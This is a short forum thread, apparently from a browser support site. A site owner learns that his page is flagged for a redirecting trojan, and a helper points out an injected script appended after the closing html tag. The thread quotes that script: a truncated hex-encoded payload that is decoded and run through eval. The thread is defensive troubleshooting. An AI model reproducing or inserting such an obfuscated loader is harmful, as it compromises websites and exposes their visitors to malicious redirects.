THOSE LINKS ARE USELESS, TAKES ME BACK TO SCRIPTED SOLUTIONS THAT DO NOT WORK.

Seems i will have to remove firefox and stick with Google Chrome.

When I tried your URL http://www.jailler.info yesterday and again today it opened O.K. but my anti-virus blocked an address (of a link I suppose) americanmobile etc.

The problem is with MY firefox, i need a fix, or update.

The problem is NOT with your Firefox. Your website loaded fine but then it was Blocked by my Antivirus program as well and displayed The Connection was Reset error. The website contains TROJAN HORSE JS:IFRAME-AC and this is the reason why its being blocked in Firefox.

Since the website contains Trojans atleast i will not test it on my other browsers.

Yes i researched that virus, its a redirecter to Americanmobiles.com, am trying to find a way to get it removed

Is my Firefox problem a result of Malware ?

Check and tell if its working.

There is a script appended to the end of that page after the closing </html>.

<script>var t="";var arr="646f63756d656e.....";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);
</script>

what do i do with that?

Looks that the site is hacked and that script has been added.
You need to remove that script from the HTML code and make sure that you change the password for the site, so it won't happen again.

thanks cor-el, much appreciated.
